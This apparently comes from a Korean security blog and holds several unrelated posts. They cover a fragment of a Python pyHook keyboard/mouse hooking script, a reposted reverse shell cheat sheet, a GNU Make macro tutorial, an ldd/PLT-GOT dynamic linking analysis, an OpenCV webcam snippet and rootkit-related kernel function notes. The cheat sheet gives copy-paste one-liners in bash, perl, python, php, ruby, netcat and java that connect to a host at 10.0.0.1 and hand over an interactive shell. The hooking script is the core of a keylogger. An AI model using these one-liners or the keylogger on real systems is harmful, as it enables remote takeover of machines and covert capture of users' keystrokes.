# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


# create the hook mananger

hm = pyHook.HookManager()

# register two callbacks

hm.MouseAllButtonsDown = OnMouseEvent

hm.KeyDown = OnKeyboardEvent


# hook into the mouse and keyboard events

hm.HookMouse()

hm.HookKeyboard()


if __name__ == '__main__':

import pythoncom

pythoncom.PumpMessages()


Posted by k1rha
2014. 5. 23. 09:22

출처 :  [ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet ]


리버스 쉘 치트 시트 

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

Tags: , , , , , , , , ,

Posted in Shells


Posted by k1rha
2014. 5. 20. 19:39

[ 출처 : https://wiki.kldp.org/KoreanDoc/html/GNU-Make/GNU-Make-3.html ] 



3. 매크로(Macro) 와 확장자(Suffix) 규칙

3.1 매크로란 무엇인가? (What is Macro)

앞에서 매크로에 대해서 대충 언급을 했다. 프로그램을 짜본 사람이나 로터스, 한글, 엑셀 등의 모든 패키지에서 매크로라는 것을 사용하게 된다. 은연중에 매크로의 정의는 대충 짐작하고 있을 것이다. 이미 알고 있는바와 같이 매크로는 특정한 코드를 간단하게 표현한 것에 지나지 않는다. Makefile에서 사용되는 매크로는 비교적 그 사용법이 간단하기 때문에 금방 익혀서 사용할 정도가 된다.

매크로의 정의는 프로그램을 작성할 때 변수를 지정하는 것처럼 하면 된다. 그리고, 매크로를 사용하기 위해서는 $(..)을 이용하면 된다. 아래는 매크로의 간단한 예제이다.

=> 참고: 매크로의 사용에서 ${..}, $(..), $..를 모두 사용할 수 있습니다. 그러나 대부분의 책에서는 $(..) 을 사용하라고 권하는군요.

Makefile예제 4


OBJS = main.o read.o write.o

test : $(OBJS) <- (1)
gcc -o test $(OBJS)
                ..........

첫 번째 장에서 다루었던 예제와 거의 비슷하다. 매크로는 사실상 복잡한 것을 간단하게 표시한 것에 지나지 않는다. (1) 번을 매크로를 안 쓰고 표현한다면 아마 아래와 같이 될 것이다.

Makefile예제 5


test : main.o read.o write.o 
gcc -o test main.o read.o write.o

=> 참고: 예제 5가 더 쉽지 않느냐고 반문하는 사람은 매크로의 위력을 잘 모르는 사람입니다. 거의 모든 소프트웨어에서 매크로를 지원하는 이유를 한번 잘 생각해 봅시다.예제 4 의 (1)부분이 이해하기 난해하다고 하실 지는 모르겠지만, 대충 형식이 정해져 있기 때문에 조금만 익숙해지면 오히려 더 편할 겁니다.

make에 관해 설명한 책에 다음과 같은 명언(?) 이 나온다.

Macro makes Makefile happy. (매크로는 Makefile 을 기쁘게 만든다.)

이 말은 Makefile을 작성함에 있어 매크로를 잘만 이용하면 복잡한 작업도 아주 간단하게 작성할 수 있음을 말해 주는 말이 아닐까 생각한다. 매크로에 대해서는 더 이상 말할 것이 없다. (너무 간단하죠 ?) 이제 남은 것은 여러분들이 자신의 매크로를 어떻게 구성하느냐이다. 어떤 것을 매크로로 정의해야 할지는 여러분들의 자유이며, 나중에 전반적인 지침을 설명할 것이다.

3.2 미리 정해져 있는 매크로 (Pre-defined macro)

여러분들보다 머리가 약간 더 좋은 사람들이 make 라는 것을 만들면서 미리 정해 놓은 매크로들이 있다. 'make -p' 라고 입력해 보면 make에서 미리 세팅되어 있던 모든 값들(매크로, 환경 변수(environment) 등등)이 엄청 스크롤 된다. 이 값들을 보고 미리 주눅 들 필요는 없다. 어차피 대부분의 내용들은 우리가 재정의 해주어야 하기 때문에 결론적으로 말하면 우리가 모두 작성한다고 생각하는 것이 마음이 편하다.,.

아래에는 대부분이 UNIX 계열의 make에서 미리 정해져 있는 매크로들 중에 몇 가지만 나열해 본 것이다.

Predefined Macro 예제 6


ASFLAGS = <- as 명령어의 옵션 세팅
AS = as
CFLAGS = <- gcc 의 옵션 세팅
CC = cc (= gcc)
CPPFLAGS = <- g++ 의 옵션
CXX = g++
LDLFAGS = <- ld 의 옵션 세팅
LD = ld
LFLAGS = <- lex 의 옵션 세팅
LEX = lex
YFLAGS = <- yacc 의 옵션 세팅
YACC = yacc
MAKE_COMMAND = make

=> 참고: 직접 make -p를 해서 한번 확인해 보세요. 과연 make는 내부적으로 어떤 변수들을 사용하고 있는지 알아봅시다. 매크로는 관습적으로 대문자로 작성되니까 이점에 유의해서 보세요. make는 쉘상에서 정의한 환경 변수값들을 그대로 이용한다는 것을 알고 계시기 바랍니다.

위에 열거한 매크로는 make에서 정의된 매크로중 그야말로 일부에 지나지 않는다. 하지만 프로그램을 작성함에 있어 가장 많이 사용하게 될 매크로 들이다. 이들 매크로는 사용자에 의해 재정의 가능하다. 가령 gcc의 옵션 중에 디버그 정보를 표시하는 '-g' 옵션을 넣고 싶다면, 아래와 같이 재정의 한다.

CFLAGS = -g

예제 6 의 각종 FLAG 매크로들은 대부분 우리가 필요에 의해 세팅해 주어야 하는 값들이다. 왜 굳이 make에서 값도 정의되지 않은 매크로를 우리가 정의해서 써야 하는지 의문을 던질지도 모른다. 우리가 더 이쁜 이름으로 매크로를 정의할 수도 있다고 하면서...

여기서 한가지 사실을 생각해 봐야 할 것이다. make에서 위에 나온 것들을 왜 미리 정해 두었을까? (왜일까요?) make에서 이들 매크로를 제공하고 있는 이유는 내부적으로 이들 매크로를 사용하게 되기 때문이다. 어떻게 이용하는지는 확장자 규칙(Suffix rule)을 설명하면서 해답을 제공할 것이다. 이제 예제 4 의 Makefile을 매크로를 이용하여 깔끔하게(?) 작성해 보자.

Makefile예제 7


OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c <- 없어도 됨

CC = gcc <- gcc 로 세팅
CFLAGS = -g -c <- gcc 의 옵션에 -g 추가

TARGET = test <- 결과 파일을 test 라고 지정

$(TARGET) : $(OBJECTS)
$(CC) -o $(TARGET) $(OBJECTS)

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c <- (1)
read.o : io.h read.c
write.o: io.h write.c

위의 Makefile 을 동작시켜 보자.

% make 
gcc -g -c main.c -o main.o
gcc -g -c read.c -o read.o
gcc -g -c write.c -o write.o
gcc -o test main.o read.o write.o <- OK

% make clean
rm -rf main.o read.o write.o test core <- OK

그런데 여기서 한가지 이상한 점을 발견하게 될 것이다. .c 파일을 .o 파일로 바꾸는 부분이 없는데 어떻게 컴파일이 되었을까? 빼먹고 타이핑 못한 것은 아닐까 하고... 절대 아님!

앞에서 CFLAGS 같은 매크로는 make 파일의 내부에서 이용된다고 하였다. 그렇다면 make는 과연 어디에서 이용을 할까? 바로 컴파일하는 곳에서 이용을 하는 것이다. 따라서 우리는 CFLAGS를 셋팅해 주기만 하면 make가 알아서 컴파일을 수행하는 것이다. (얼마나 편리합니까!)

=> 참고: 확장자 규칙에서 다시 한번 자세히 설명을 하겠습니다.

(1) 에 해당하는 부분은 어떤 파일이 어디에 의존하고 있는지를 표시해 주기 위해서 꼭 필요하다. .c 파일을 컴파일하는 부분은 일괄적인 루틴으로 작성할 수 있기 때문에 이들 파일간의 의존 관계(dependency)를 따로 표시해 주어야 한다.

=> 참고: 파일간의 의존 관계를 자동으로 작성해 주는 유틸리티가 있습니다. 이것은 다음 장에서 다루기로 합니다.

3.3 확장자 규칙 (Suffix rule)

확장자 규칙이란 간단히 말해서 파일의 확장자를 보고, 그에 따라 적절한 연산을 수행시키는 규칙이라고 말할 수 있다. 가령 .c 파일은 일반적으로 C 소스 코드를 가리키며, .o 파일은 목적 파일(Object file)을 말하고 있다. 그리고 당연히 .c 파일은 컴파일되어서 .o 파일이 되어야 하는 것이다.

여기서 한가지 매크로가 등장하게 된다. .SUFFIXES 라고 하는 매크로인데 우리가 make 파일에게 주의 깊게 처리할 파일들의 확장자를 등록해 준다고 이해하면 될 것이다.

.SUFFIXES : .c .o

위의 표현은 '.c' 와 '.o' 확장자를 가진 파일들을 확장자 규칙에 의거해서 처리될 수 있도록 해준다. .SUFFIXES 매크로를 이용한 예제를 살펴보자.

Makefile예제 8


.SUFFIXES : .c .o 

OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c

CC = gcc 
CFLAGS = -g -c

TARGET = test

$(TARGET) : $(OBJECTS)
                $(CC) -o $(TARGET) $(OBJECTS)

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c 
read.o : io.h read.c
write.o: io.h write.c

위의 Makefile 을 동작시켜 보자.

% make
gcc -g -c main.c -o main.o
gcc -g -c read.c -o read.o
gcc -g -c write.c -o write.o
gcc -o test main.o read.o write.o <- OK

확장자 규칙에 의해서 make는 파일들간의 확장자를 자동으로 인식해서 필요한 작업을 수행한다. 즉 아래의 루틴이 자동적으로 동작하게 된다.

.c.o : 
$(CC) $(CFLAGS) -c $< -o $@

=> 참고: gmake에서는 약간 다르게 정의되어 있지만, 우선은 같다고 이해합시다. $< , $@ 에 대해서는 곧 설명합니다.

우리가 .SUFFIXES : .c .o 라고 했기 때문에 make 내부에서는 미리 정의된 .c (C 소스 파일)를 컴파일해서 .o (목적 파일)를 만들어 내는 루틴이 자동적으로 동작하게 되어 있다. CC와 CFLAGS 도 우리가 정의한 대로 치환될 것임은 의심할 여지가 없다.

make 내부에서 기본적으로 서비스를 제공해 주는 확장자들의 리스트를 열거해 보면 아래와 같다. 각 확장자에 따른 자세한 설명은 생략한다.

.out .a .ln .o .c .cc .C .p .f .F .r .y .l .s .S .mod .sym .def .h .info .dvi .tex .texinfo .texi .txinfo .w .ch .web .sh .elc .el

Makefile내부에서 .SUFFIXES 매크로의 값을 세팅해 주면 내부적으로 정의된 확장자의 연산이 동작을 하게 된다. 따라서 확장자 규칙은 make가 어느 확장자를 가진 파일들을 처리할 것인가를 정해 주는 것이라고 생각할 수 있다.

그러나 이것은 필자만의 생각일지 몰라도 make에서 자동적으로 확장자를 알아서 해주는 것이 좋긴 하지만, 필자는 일부러 위의 .c.o 에 해당되는 부분을 그냥 정의해서 쓰길 더 좋아한다. 이것은 지금까지의 습관상 그렇지만 왠지 우리가 정의하는 것이 더 자유롭게(flexible) 사용할 수 있을 것 같기 때문이다. 그리고 이런 기능은 우리가 작성을 해봐야 make의 메카니즘을 더 잘 이해할 수 있다고 생각한다.

예제 8 의 내용을 약간 바꾸어 보자.

Makefile예제 9


.SUFFIXES : .c .o 

OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c

CC = gcc 
CFLAGS = -g -c 
INC = -I/home/raxis/include <- include 패스 추가

TARGET = test

$(TARGET) : $(OBJECTS)
                $(CC) -o $(TARGET) $(OBJECTS)

.c.o : <- 우리가 확장자 규칙을 구현
                $(CC) $(INC) $(CFLAGS) $<-

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c
read.o : io.h read.c
write.o : io.h write.c

% make
gcc -I/home/raxis/include -g -c main.c
gcc -I/home/raxis/include -g -c read.c
gcc -I/home/raxis/include -g -c write.c
gcc -o test main.o read.o write.o <- OK

예제 8 과 예제 9 의 차이는 그저 .c .o 부분을 누가 처리하느냐이다. 그리고 예제 9에서는 INC 라는 매크로를 추가시켜서 컴파일할때 이용하도록 하였다.

3.4 내부 매크로 (Internal macro)

make에서는 내부 매크로라는 것이 있다. 이것은 우리가 맘대로 정할 수 있는 매크로는 절대 아니다. 대신 매크로를 연산, 처리하는데 쓰이는 매크로라고 하는 것이 더 적당할 것이다.

Internal Macro 예제 10


$* <- 확장자가 없는 현재의 목표 파일(Target)

$@ <- 현재의 목표 파일(Target)

$< <- 현재의 목표 파일(Target)보다 더 최근에 갱신된 파일 이름

$? <- 현재의 목표 파일(Target)보다 더 최근에 갱신된 파일이름

=> 참고: 책에서는 $< 와 $?를 약간 구분하고 있지만 거의 같다고 봐도 무방할 것입니다.

각 내부 매크로에 대한 예를 보기로 한다.

main.o : main.c io.h
gcc -c $*.c

$* 는 확장자가 없는 현재의 목표 파일이므로 $* 는 결국 main 에 해당한다.

test : $(OBJS)
gcc -o $@ $*.c

$@는 현재의 목표 파일이다. 즉 test에 해당된다.

.c.o :
gcc -c $< (또는 gcc -c $*.c)

$< 는 현재의 목표 파일보다 더 최근에 갱신된 파일 이름이라고 하였다. .o 파일보다 더 최근에 갱신된 .c 파일은 자동적으로 컴파일이 된다. 가령 main.o를 만들고 난 다음에 main.c를 갱신하게 되면 main.c는 $<의 작용에 의해 새롭게 컴파일이 된다.

=> 참고: 이제 예제 9 을 이해할 수 있겠습니까?

=> 참고: Makefile 파일을 작성해 놓고, 그냥 make만 치시면 make는 Makefile의 내용을 살펴보다가 첫 번째 목표 파일에 해당되는 것을 실행시키게 됩니다. 따라서 위의 예제에서는 make test 라고 해도 같은 결과를 내게 됩니다. 반면 clean에 해당하는 부분을 윗부분에 두게 되면 make는 항상 make clean을 수행하게 됩니다.

% make <- make clean 이 실행됨
rm -rf main.o read.o write.o test core

% make test <- 강제적으로 test 가 생성되게 한다.
gcc -I/home/raxis/include -g -c main.c
gcc -I/home/raxis/include -g -c read.c
gcc -I/home/raxis/include -g -c write.c
gcc -o test write.c main.o read.o write.o <- OK

Makefile의 이해를 돕기 위해서 Makefile을 하나 더 작성해 보기로 한다. make.tex 파일을 make.dvi로 만든 다음 이것을 다시 make.ps로 만드는 것이다. 보통의 순서라면 아래와 같다.

% latex make.tex <- make.dvi 가 만들어진다.
% dvips make.dvi -o <- make.ps 가 만들어진다.

보통의 가장 간단한 Makefile을 작성해 보면 아래와 같다.

Makefile예제 11


make.ps : make.dvi
                dvips make.dvi -o

make.dvi : make.tex
                latex make.tex 

위와 같은 일을 하는 Makefile을 다르게 한번 작성해 보자. 매크로를 어느정도 사용해 보기로 하며, 확장자 규칙을 한번 적용해 보기로 한다.

Makefile예제 12


.SUFFIXES : .tex .dvi 

TEX = latex <- TEX 매크로를 재정의

PSFILE = make.ps 
DVIFILE = make.dvi

$(PSFILE) : $(DVIFILE)
                dvips $(DVIFILE) -o

make.ps : make.dvi 
make.dvi : make.tex

예제 12 에서는 .tex 와 .dvi 를 처리하는 루틴이 자동적으로 동작을 하게 된다. Makefile 을 한번 동작시켜 보자.

% make
latex make.tex
....
dvips make.dvi -o <- OK

예제 11 과 예제 12 는 하는 일은 같다. 하지만 예제 12는 매크로를 사용함으로써 나중에 내용을 바꿀 때 예제 11보다 편하다는 것을 이해하였으므로...

다음장 예고

무엇인가를 글로 설명한다는 것이 참 힘드네요...

사실 오늘 한 것만 가지고도 Makefile에 대한 어느 정도의 지식을 갖추었다고 말할 수가 있습니다. 자신만의 Makefile을 한번 작성해 보시죠. 프로그램도 괜찮고, .tex 파일을 .ps 파일로 만드는 과정을 Makefile로 만들어 보는 것도 좋은 연습이 될 것입니다.

다음 편에서 여러분에게 소개해 드릴 것은 make 옵션, makefile 작성 지침(guideline), make 사용 시에 나타나는 에러의 원인과 그 대처 방법이 될 것 같군요. (아직 확정된 것은 아니지만...) Makefile에 관한 입문 과정은 다음 장으로 끝내고, 4장부터는 약간 고급스러운 기능을 강좌하도록 하겠습니다. 많이 읽어 주세요. 댕스 였습니다.


이전페이지 다음페이지 차례

Posted by k1rha
2014. 5. 14. 17:32

#ldd 명령어 분석 ( for dynamic symbol 저장 위치 찾기)  , ldd 동작 방식 ,shared library 호출 방식 

  1. #ldd 명령어 소스코드의 원형 분석
  • 파일 및 공유라이브러리들의 공유라이브러리 의존관계 출력 command 내부적으로LD_TRACE_LOADED_OBJECT=1 사용


        /* ld.so magic */

        setenv("LD_TRACE_LOADED_OBJECTS", "yes", 1);

        if (fmt1)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT1", fmt1, 1);

        if (fmt2)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT2", fmt2, 1);


  • 장점 : 실행 바이너리 실행되지 않은 공유 라이브러리 들간의 의존도도 있다. ( 2번에서 이어서 설명 )

 

 

  1. LD_TRACE_LOADED_OBJECT
  • root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 ./main

        linux-gate.so.1 =>  (0xb774b000)

        libstrcpy2.so => /usr/lib/libstrcpy2.so (0xb7735000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758b000)

        /lib/ld-linux.so.2 (0xb774c000)

 

  • #ldd 커맨드와 LD_TRACE_LOADED_OBJECT 차이 
  • ( 실행 중이지 않은 라이브러리의 공유라이브러리 의존도 확인 가능 여부 )

root@k1rh4:~/libtest/1# ldd /usr/lib/libstrcpy2.so

        linux-gate.so.1 =>  (0xb7788000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)

        /lib/ld-linux.so.2 (0xb7789000)

root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 /usr/lib/libstrcpy2.so

세그멘테이션 오류 (core dumped)

실행파일만 .

 

 

  1. ELF 헤더 정보에 dynamic 심볼 정보를 참조.

 (테스트환경은 strcpy2 공유라이브러리를 링킹 테스트)

 

  • ELF section header 정보 ( 우측 )
    • [6].dynstr (STRTAB) 0x8048298 심볼 정보가 컴파일 저장됨.

(gdb) x/20s 0x08048298    //아래 섹션 헤더 부분을 참조 

0x8048298:       ""

0x8048299:       "libstrcpy2.so"   // 아래 섹션헤더 부분을 참조 

0x80482a7:       "__gmon_start__"

0x80482b6:       "_Jv_RegisterClasses"

0x80482ca:       "_init"

0x80482d0:       "_fini"

0x80482d6:       "strcpy2"

0x80482de:       "libc.so.6"

0x80482e8:       "_IO_stdin_used"

0x80482f7:       "__libc_start_main"

0x8048309:       "_edata"

0x8048310:       "__bss_start"

0x804831c:       "_end"

0x8048321:       "GLIBC_2.0"

0x804832b:       <Address 0x804832b out of bounds>

정보를 기준으로 libstrcpy2.so 탐색함.

 

  • 바이너리 실행 library 이름으로 탐색함

root@k1rh4:~/libtest/1# strace -i ./main

[b77b1424] execve("./main", ["./main"], [/* 20 vars */]) = 0

[b773bf94] brk(0)                       = 0x8228000

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773dd63] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7723000

[b773dcb1] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

[b773dafd] fstat64(3, {st_mode=S_IFREG|0644, st_size=67880, ...}) = 0

[b773dd63] mmap2(NULL, 67880, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7712000

[b773dbad] close(3)                     = 0

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/usr/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2/cmov", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

.

.( 탐색 중… )

.

[b773db74] open("/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = 3  

           //   [ /lib/ 에서  strcpy2 공유 라이브러리를 찾음 ]

[b773dbf4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260\3\0\0004\0\0\0"..., 512) = 512

[b773dafd] fstat64(3, {st_mode=S_IFREG|0755, st_size=6760, ...}) = 0

[b773dd63] mmap2(NULL, 8216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb770f000

             //   [ /lib/libstrcpy2.so ] 메모리에 적재 시킴

 

  • 바이너리를 실행하면 .init 보다 먼저 공유라이브러리가 올라오게 된다.

(gdb) x/10xi 0xb7fc746c  // 공유라이브러리의 strcpy2()

   0xb7fc746c <strcpy2>:        push   %ebp

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>

   0xb7fc7478 <strcpy2+12>:     add    $0x1b7c,%ebx

   0xb7fc747e <strcpy2+18>:     lea    -0x1b02(%ebx),%eax

   0xb7fc7484 <strcpy2+24>:     mov    %eax,(%esp)

   0xb7fc7487 <strcpy2+27>:     call   0xb7fc7380 <printf@plt>

   0xb7fc748c <strcpy2+32>:     add    $0x14,%esp

 


  • Strcpy2@PLT -> strcpy2@GOT.PLT 가리키고 있음.

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi 0x804a008

   0x804a008 <strcpy2@got.plt>: testb  $0x0,0x804(%ebx)

 

        • Strcpy 한번 호출 뒤의 변화

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi *0x804a008

   0xb7fc746c <strcpy2>:        push   %ebp   // 공유라이브러리의 주소

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>


[ Section Headers: ]

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                       NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp              PROGBITS        08048154 000154 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4

  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4

  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00003c 04   A  5   0  4

  [ 5] .dynsym           DYNSYM          080481e8 0001e8 0000b0 10   A  6   1  4

  [ 6] .dynstr            STRTAB          08048298 000298 000093 00   A  0   0  1   // 참조된 섹션 헤더

  [ 7] .gnu.version      VERSYM          0804832c 00032c 000016 02   A  5   0  2

  [ 8] .gnu.version_r    VERNEED         08048344 000344 000020 00   A  6   1  4

  [ 9] .rel.dyn            REL             08048364 000364 000008 08   A  5   0  4

  [10] .rel.plt             REL             0804836c 00036c 000018 08   A  5  12  4

  [11] .init                PROGBITS        08048384 000384 00002e 00  AX  0   0  4

  [12] .plt               PROGBITS        080483c0 0003c0 000040 04  AX  0   0 16

  [13] .text              PROGBITS        08048400 000400 00017c 00  AX  0   0 16

  [14] .fini               PROGBITS        0804857c 00057c 00001a 00  AX  0   0  4

  [15] .rodata           PROGBITS        08048598 000598 000008 00   A  0   0  4

  [16] .eh_frame_hdr  PROGBITS        080485a0 0005a0 000034 00   A  0   0  4

  [17] .eh_frame        PROGBITS        080485d4 0005d4 0000c4 00   A  0   0  4

  [18] .ctors             PROGBITS        08049f0c 000f0c 000008 00  WA  0   0  4

  [19] .dtors             PROGBITS        08049f14 000f14 000008 00  WA  0   0  4

  [20] .jcr                PROGBITS        08049f1c 000f1c 000004 00  WA  0   0  4

  [21] .dynamic         DYNAMIC         08049f20 000f20 0000d0 08  WA  6   0  4

  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4

  [23] .got.plt          PROGBITS        08049ff4 000ff4 000018 04  WA  0   0  4

  [24] .data              PROGBITS        0804a00c 00100c 000008 00  WA  0   0  4

  [25] .bss               NOBITS          0804a014 001014 000008 00  WA  0   0  4

  [26] .comment       PROGBITS        00000000 001014 00002a 01  MS  0   0  1

  [27] .shstrtab         STRTAB          00000000 00103e 0000fc 00      0   0  1

  [28] .symtab          SYMTAB          00000000 0015ec 000410 10     29  45  4

  [29] .strtab           STRTAB          00000000 0019fc 0001f2 00      0   0  1


Posted by k1rha
2014. 5. 2. 22:22

OPEN CV 카메라 화면 띄우는 코드 


[ 관련 자료 : http://yonghello.tistory.com/148 ]

[ 설치 및 환경설정 자료 : http://mymnboy.egloos.com/viewer/987948 ]

http://www.microsoft.com/ko-kr/download/confirmation.aspx?id=40784


 

#include<opencv/cv.h>

#include<opencv/highgui.h>

 

using namespace cv;

 

int main()

{

          Mat image;

 

          /*동영상 파일이나 카메라를 통해 들어오는 영상의 캡쳐를 위한 클래스.*/

          VideoCapture cap;

          /*VideoCapture클래스의 인스턴스를 통해서 연결된 웹캠의 제어를 받는 부분.0이라는 숫자는 카메라의 id값이다.

             현재 연결된 내부 카메라(built in webcam)를 의미한다.하지만 외부에 웹캠이 따로 연결되면 그 웹캠의 id값이 0이 된다.*/

           cap.open(0);


          namedWindow("window", CV_WINDOW_AUTOSIZE);

           

           /*루프를 돌면서 프레임 단위로 이미지를 받아들이는 부분.*/

          while(1)

        {

                /*VideoCapture로 이미지 프레임 하나를 받아서 image변수로 넘김.*/

                 if(cap.read(image) == NULL)

              {

                     cout<<"frame was not read."<<endl;

              }

 

                 /*이미지 프레임을 윈도우를 통해서 스크린으로 출력.이 과정이 반복되면서 영상이 출력되게 된다.*/

                imshow("window", image);

 

               /*delay 33ms*/

               waitKey(33);

           }

         return 0;

}



Posted by k1rha
2014. 5. 2. 16:58

[ kernel ] 루트킷 분석하다가 조사한 커널 함수들.


Init_module : 커널함수의 시작은 main 대신 init_moudle 사용함.

IOCTL : read(), write() 와같이 읽기 쓰기 처리가 가능  -> 하드웨어의 제어나 상태를 얻기 위해 사용

Inet_add_protocol : 새로운 네트워크 프로토콜을 설정할수있음

Inet_del_protocol  : 기존 네트워크 프로토콜 삭제

create_proc_entry : proc 파일 시스템에서 접근   있는 파일을 만든다만들  있는 최상위 디렉토리는 /proc 이다. (구조체로 존재)

 

i_node 구조 (리눅스 디폴트 파일 시스템 ex2, ex3  채택)

  • i-mode : 파일의 속성  접근제어 정보 ( 정규파일 : S_IFREG , 디렉터리 : S_IFDIR , 장치파일 : S_IFCHR , 블록장치파일 : S_IFBLK , 파이프 : S_IFFIFO, 소켓 : S_IFSOCK

 

MODULE_PARM(char * modname, "s") // kernel 2.4 부터 insmod  인자를 받을  있도록 구성되었는데, s  문자열 형태를 받겠다는 

int gettimeofday(struct timeval *tv, struct timezone *tz);  :  timezone  설정함

